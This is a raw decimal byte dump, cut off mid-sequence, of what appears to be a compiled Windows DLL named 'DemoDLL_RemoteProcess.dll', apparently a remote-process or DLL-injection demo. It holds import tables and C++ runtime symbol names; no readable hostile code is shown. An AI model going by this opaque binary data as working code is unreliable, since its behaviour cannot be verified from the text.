16,34,5,147,25,1,0,0,0,120,23,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,32,183,1,16,34,5,147,25,1,0,0,0,168,23,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,96,183,1,16,34,5,147,25,1,0,0,0,216,23,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,144,183,1,16,34,5,147,25,1,0,0,0,8,24,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,192,183,1,16,34,5,147,25,1,0,0,0,56,24,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,240,183,1,16,34,5,147,25,1,0,0,0,104,24,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,48,184,1,16,34,5,147,25,1,0,0,0,152,24,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,112,184,1,16,34,5,147,25,1,0,0,0,200,24,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,160,184,1,16,34,5,147,25,1,0,0,0,248,24,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,0,0,0,32,112,1,16,64,0,0,0,0,0,0,0,0,0,0,0,80,112,1,16,255,255,255,255,0,0,0,0,255,255,255,255,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,34,5,147,25,4,0,0,0,72,25,2,16,2,0,0,0,140,25,2,16,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,2,0,0,0,2,0,0,0,3,0,0,0,1,0,0,0,56,25,2,16,0,0,0,0,0,0,0,0,3,0,0,0,1,0,0,0,40,25,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,250,16,1,16,0,0,0,0,216,25,2,16,0,0,0,0,2,0,0,0,232,25,2,16,88,23,2,16,0,0,0,0,0,0,0,0,232,33,2,16,0,0,0,0,255,255,255,255,0,0,0,0,12,0,0,0,217,19,1,16,0,0,0,0,255,255,255,255,0,185,1,16,34,5,147,25,1,0,0,0,8,26,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,64,185,1,16,34,5,147,25,1,0,0,0,56,26,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,128,185,1,16,34,5,147,25,1,0,0,0,104,26,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,208,185,1,16,34,5,147,25,1,0,0,0,152,26,2,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,254,255,255,255,0,0,0,0,208,255,255,255,0,0,0,0,254,255,255,255,0,0,0,0,178,136,1,16,0,0,0,0,120,136,1,16,147,136,1,16,0,0,0,0,0,0,0,0,254,255,255,255,0,0,0,0,204,255,255,255,0,0,0,0,254,255,255,255,0,0,0,0,35,138,1,16,0,0,0,0,254,255,255,255,0,0,0,0,188,255,255,255,0,0,0,0,254,255,255,255,36,142,1,16,42,142,1,16,0,0,0,0,254,255,255,255,0,0,0,0,188,255,255,255,0,0,0,0,254,255,255,255,230,142,1,16,236,142,1,16,0,0,0,0,254,255,255,255,0,0,0,0,212,255,255,255,0,0,0,0,254,255,255,255,0,0,0,0,130,150,1,16,0,0,0,0,254,255,255,255,0,0,0,0,216,255,255,255,0,0,0,0,254,255,255,255,69,151,1,16,82,151,1,16,0,0,0,0,254,255,255,255,0,0,0,0,184,255,255,255,0,0,0,0,254,255,255,255,105,154,1,16,131,154,1,16,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,242,155,216,86,0,0,0,0,178,29,2,0,1,0,0,0,1,0,0,0,1,0,0,0,168,29,2,0,172,29,2,0,176,29,2,0,110,21,1,0,204,29,2,0,0,0,68,101,109,111,68,76,76,95,82,101,109,111,116,101,80,114,111,99,101,115,115,46,100,108,108,0,86,111,105,100,70,117,110,99,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,63,36,98,97,115,105,99,95,111,102,115,116,114,101,97,109,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,63,36,98,97,115,105,99,95,111,115,116,114,101,97,109,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,63,36,98,97,115,105,99,95,105,111,115,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,0,0,0,0,0,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,105,111,115,95,98,97,115,101,64,115,116,100,64,64,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,63,36,95,73,111,115,98,64,72,64,115,116,100,64,64,0,0,0,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,63,36,98,97,115,105,99,95,102,105,108,101,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,0,0,0,0,0,0,0,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,98,97,100,95,99,97,115,116,64,115,116,100,64,64,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,101,120,99,101,112,116,105,111,110,64,115,116,100,64,64,0,0,0,0,0,0,0,0,0,168,252,1,16,0,0,0,0,46,63,65,86,98,97,100,95,97,108,108,111,99,64,115,116,100,64,64,0,0,0,0,0,0,0,0,0,78,230,64,187,177,25,191,68,168,252,1,16,0,0,0,0,46,63,65,86,116,121,112,101,95,105,110,102,111,64,64,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,255,255,255,255,255,255,255,255,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,49,2,0,0,0,0,0,0,0,0,0,62,66,2,0,24,52,2,0,64,50,2,0,0,0,0,0,0,0,0,0,234,68,2,0,88,53,2,0,80,48,2,0,0,0,0,0,0,0,0,0,150,72,2,0,104,51,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,134,70,2,0,150,70,2,0,172,70,2,0,180,70,2,0,210,70,2,0,232,70,2,0,252,70,2,0,18,71,2,0,36,71,2,0,48,71,2,0,66,71,2,0,82,71,2,0,102,71,2,0,122,71,2,0,150,71,2,0,180,71,2,0,206,71,2,0,222,71,2,0,244,71,2,0,10,72,2,0,36,72,2,0,48,72,2,0,60,72,2,0,78,72,2,0,100,72,2,0,116,72,2,0,136,72,2,0,118,70,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,130,61,2,0,166,61,2,0,200,61,2,0,14,62,2,0,78,62,2,0,182,62,2,0,238,62,2,0,12,63,2,0,44,63,2,0,70,63,2,0,106,63,2,0,168,63,2,0,196,63,2,0,236,63,2,0,6,64,2,0,62,61,2,0,100,64,2,0,136,64,2,0,172,64,2,0,218,64,2,0,28,65,2,0,128,65,2,0,158,65,2,0,220,65,2,0,254,65,2,0,30,66,2,0,76,66,2,0,120,66,2,0,164,66,2,0,18,61,2,0,224,60,2,0,160,60,2,0,84,60,2,0,46,60,2,0,226,59,2,0,166,59,2,0,144,59,2,0,78,59,2,0,24,59,2,0,214,58,2,0,150,58,2,0,128,54,2,0,84,58,2,0,18,58,2,0,210,57,2,0,144,57,2,0,78,57,2,0,24,57,2,0,210,56,2,0,140,56,2,0,72,56,2,0,12,56,2,0,204,55,2,0,144,55,2,0,90,55,2,0,240,54,2,0,182,54,2,0,48,64,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,142,68,2,0,174,68,2,0,206,68,2,0,248,68,2,0,10,69,2,0,24,69,2,0,36,69,2,0,52,69,2,0,72,69,2,0,84,69,2,0,98,69,2,0,112,69,2,0,130,69,2,0,140,69,2,0,154,69,2,0,162,69,2,0,172,69,2,0,194,69,2,0,214,69,2,0,12,70,2,0,48,70,2,0,74,70,2,0,90,70,2,0,102,70,2,0,126,68,2,0,118,68,2,0,108,68,2,0,98,68,2,0,88,68,2,0,80,68,2,0,70,68,2,0,36,68,2,0,4,68,2,0,234,67,2,0,212,67,2,0,182,67,2,0,164,67,2,0,142,67,2,0,132,67,2,0,116,67,2,0,96,67,2,0,86,67,2,0,74,67,2,0,64,67,2,0,56,67,2,0,46,67,2,0,34,67,2,0,24,67,2,0,8,67,2,0,250,66,2,0,228,66,2,0,218,66,2,0,106,67,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,134,70,2,0,150,70,2,0,172,70,2,0,180,70,2,0,210,70,2,0,232,70,2,0,252,70,2,0,18,71,2,0,36,71,2,0,48,71,2,0,66,71,2,0,82,71,2,0,102,71,2,0,122,71,2,0,150,71,2,0,180,71,2,0,206,71,2,0,222,71,2,0,244,71,2,0,10,72,2,0,36,72,2,0,48,72,2,0,60,72,2,0,78,72,2,0,100,72,2,0,116,72,2,0,136,72,2,0,118,70,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,130,61,2,0,166,61,2,0,200,61,2,0,14,62,2,0,78,62,2,0,182,62,2,0,238,62,2,0,12,63,2,0,44,63,2,0,70,63,2,0,106,63,2,0,168,63,2,0,196,63,2,0,236,63,2,0,6,64,2,0,62,61,2,0,100,64,2,0,136,64,2,0,172,64,2,0,218,64,2,0,28,65,2,0,128,65,2,0,158,65,2,0,220,65,2,0,254,65,2,0,30,66,2,0,76,66,2,0,120,66,2,0,164,66,2,0,18,61,2,0,224,60,2,0,160,60,2,0,84,60,2,0,46,60,2,0,226,59,2,0,166,59,2,0,144,59,2,0,78,59,2,0,24,59,2,0,214,58,2,0,150,58,2,0,128,54,2,0,84,58,2,0,18,58,2,0,210,57,2,0,144,57,2,0,78,57,2,0,24,57,2,0,210,56,2,0,140,56,2,0,72,56,2,0,12,56,2,0,204,55,2,0,144,55,2,0,90,55,2,0,240,54,2,0,182,54,2,0,48,64,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,142,68,2,0,174,68,2,0,206,68,2,0,248,68,2,0,10,69,2,0,24,69,2,0,36,69,2,0,52,69,2,0,72,69,2,0,84,69,2,0,98,69,2,0,112,69,2,0,130,69,2,0,140,69,2,0,154,69,2,0,162,69,2,0,172,69,2,0,194,69,2,0,214,69,2,0,12,70,2,0,48,70,2,0,74,70,2,0,90,70,2,0,102,70,2,0,126,68,2,0,118,68,2,0,108,68,2,0,98,68,2,0,88,68,2,0,80,68,2,0,70,68,2,0,36,68,2,0,4,68,2,0,234,67,2,0,212,67,2,0,182,67,2,0,164,67,2,0,142,67,2,0,132,67,2,0,116,67,2,0,96,67,2,0,86,67,2,0,74,67,2,0,64,67,2,0,56,67,2,0,46,67,2,0,34,67,2,0,24,67,2,0,8,67,2,0,250,66,2,0,228,66,2,0,218,66,2,0,106,67,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,117,0,63,63,49,63,36,98,97,115,105,99,95,105,111,115,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,85,65,69,64,88,90,0,0,126,0,63,63,49,63,36,98,97,115,105,99,95,111,115,116,114,101,97,109,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,85,65,69,64,88,90,0,0,28,0,63,63,48,63,36,98,97,115,105,99,95,111,115,116,114,101,97,109,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,65,69,64,80,65,86,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,49,64,95,78,64,90,0,3,0,63,63,48,63,36,98,97,115,105,99,95,105,111,115,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,65,69,64,88,90,0,0,164,2,63,99,108,101,97,114,64,63,36,98,97,115,105,99,95,105,111,115,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,65,69,88,72,95,78,64,90,0,167,5,63,115,101,116,115,116,97,116,101,64,63,36,98,97,115,105,99,95,105,111,115,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,65,69,88,72,95,78,64,90,0,0,129,0,63,63,49,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,85,65,69,64,88,90,0,0,183,5,63,115,104,111,119,109,97,110,121,99,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,77,65,69,95,74,88,90,0,64,6,63,120,115,103,101,116,110,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,77,65,69,95,74,80,65,68,95,74,64,90,0,67,6,63,120,115,112,117,116,110,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,77,65,69,95,74,80,66,68,95,74,64,90,0,241,4,63,111,117,116,64,63,36,99,111,100,101,99,118,116,64,68,68,72,64,115,116,100,64,64,81,66,69,72,65,65,72,80,66,68,49,65,65,80,66,68,80,65,68,51,65,65,80,65,68,64,90,0,100,2,63,95,80,110,105,110,99,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,65,69,80,65,68,88,90,0,125,3,63,101,112,112,116,114,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,66,69,80,65,68,88,90,0,0,3,5,63,112,112,116,114,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,66,69,80,65,68,88,90,0,238,1,63,95,71,110,100,101,99,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,65,69,80,65,68,88,90,0,109,3,63,101,98,97,99,107,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,66,69,80,65,68,88,90,0,0,253,3,63,103,112,116,114,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,66,69,80,65,68,88,90,0,112,3,63,101,103,112,116,114,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,66,69,80,65,68,88,90,0,0,59,4,63,105,110,64,63,36,99,111,100,101,99,118,116,64,68,68,72,64,115,116,100,64,64,81,66,69,72,65,65,72,80,66,68,49,65,65,80,66,68,80,65,68,51,65,65,80,65,68,64,90,0,0,241,1,63,95,71,110,105,110,99,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,65,69,80,65,68,88,90,0,162,1,63,95,66,65,68,79,70,70,64,115,116,100,64,64,51,95,74,66,0,0,38,0,63,63,48,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,65,69,64,88,90,0,0,247,3,63,103,101,116,108,111,99,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,66,69,63,65,86,108,111,99,97,108,101,64,50,64,88,90,0,0,179,1,63,95,70,105,111,112,101,110,64,115,116,100,64,64,89,65,80,65,85,95,105,111,98,117,102,64,64,80,66,68,72,72,64,90,0,0,0,2,63,95,73,110,105,116,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,65,69,88,80,65,80,65,68,48,80,65,72,48,48,49,64,90,0,0,1,2,63,95,73,110,105,116,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,65,69,88,88,90,0,0,32,6,63,117,110,115,104,105,102,116,64,63,36,99,111,100,101,99,118,116,64,68,68,72,64,115,116,100,64,64,81,66,69,72,65,65,72,80,65,68,49,65,65,80,65,68,64,90,0,0,156,2,63,97,108,119,97,121,115,95,110,111,99,111,110,118,64,99,111,100,101,99,118,116,95,98,97,115,101,64,115,116,100,64,64,81,66,69,95,78,88,90,0,0,156,5,63,115,101,116,103,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,73,65,69,88,80,65,68,48,48,64,90,0,0,168,1,63,95,68,101,98,117,103,95,109,101,115,115,97,103,101,64,115,116,100,64,64,89,65,88,80,66,95,87,48,73,64,90,0,0,55,6,63,119,105,100,116,104,64,105,111,115,95,98,97,115,101,64,115,116,100,64,64,81,65,69,95,74,95,74,64,90,0,0,211,5,63,115,112,117,116,110,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,65,69,95,74,80,66,68,95,74,64,90,0,0,208,5,63,115,112,117,116,99,64,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,65,69,72,68,64,90,0,86,5,63,114,100,98,117,102,64,63,36,98,97,115,105,99,95,105,111,115,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,66,69,80,65,86,63,36,98,97,115,105,99,95,115,116,114,101,97,109,98,117,102,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,50,64,88,90,0,0,149,3,63,102,105,108,108,64,63,36,98,97,115,105,99,95,105,111,115,64,68,85,63,36,99,104,97,114,95,116,114,97,105,116,115,64,68,64,115,116,100,64,64,64,115,116,100,64,64,81,66,69,68,88,90,0,155,3,63,102,108,97,103,115,64,105,111,115,95,98,97,115,101,64,115,116,100,64,64,81,66,69,72,88,90,0,56,6,63,119,105,100,116,104,64,105,111,115,95,98,97,115,101,64,115,116,100,64,64,81,66,69,95,74,88,90,0,0,158,0,63,63,49,95,76,111,99,107,105,116,64,115,116,100,64,64,81,65,69,64,88,90,0,0,254,1,63,95,73,110,99,114,101,102,64,102,97,99,101,116,64,108,111,99,97,108,101,64,115,116,100,64,64,81,65,69,88,88,90,0,187,1,63,95,71,101,116,99,97,116,64,63,36,99,111,100,101,99,118,116,64,68,68,72,64,115,116,100,64,64,83,65,73,80,65,80,66,86,102,97,99,101,116,64,108,111,99,97,108,101,64,50,64,80,66,86,52,50,64,64,90,0,64,1,63,63,66,105,100,64,108,111,99,97,108,101,64,115,116,100,64,64,81,65,69,73,88,90,0,0,10,4,63,105,100,64,63,36,99,111,100,101,99,118,116,64,68,68,72,64,115,116,100,64,64,50,86,48,108,111,99,97,108,101,64,50,64,65,0,0,96,0,63,63,48,95,76,111,99,107,105,116,64,115,116,100,64,64,81,65,69,64,72,64,90,0,169,1,63,95,68,101,99,114,101,102,64,102,97,99,101,116,64,108,111,99,97,108,101,64,115,116,100,64,64,81,65,69,80,65,86,49,50,51,64,88,90,0,221,1,63,95,71,101,116,103,108,111,98,97,108,108,111,99,97,108,101,64,108,111,99,97,108,101,64,115,116,100,64,64,67,65,80,65,86,95,76,111,99,105,109,112,64,49,50,64,88,90,0,0,154,0,63,63,49,95,67,111,110,116,97,105,110,101,114,95,98,97,115,101,49,50,64,115,116,100,64,64,81,65,69,64,88,90,0,0,90,0,63,63,48,95,67,111,110,116,97,105,110,101,114,95,98,97,115,101,49,50,64,115,116,100,64,64,81,65,69,64,88,90,0,0,93,2,63,95,79,114,112,104,97,110,95,97,108,108,64,95,67,111,110,116,97,105,110,101,114,95,98,97,115,101,49,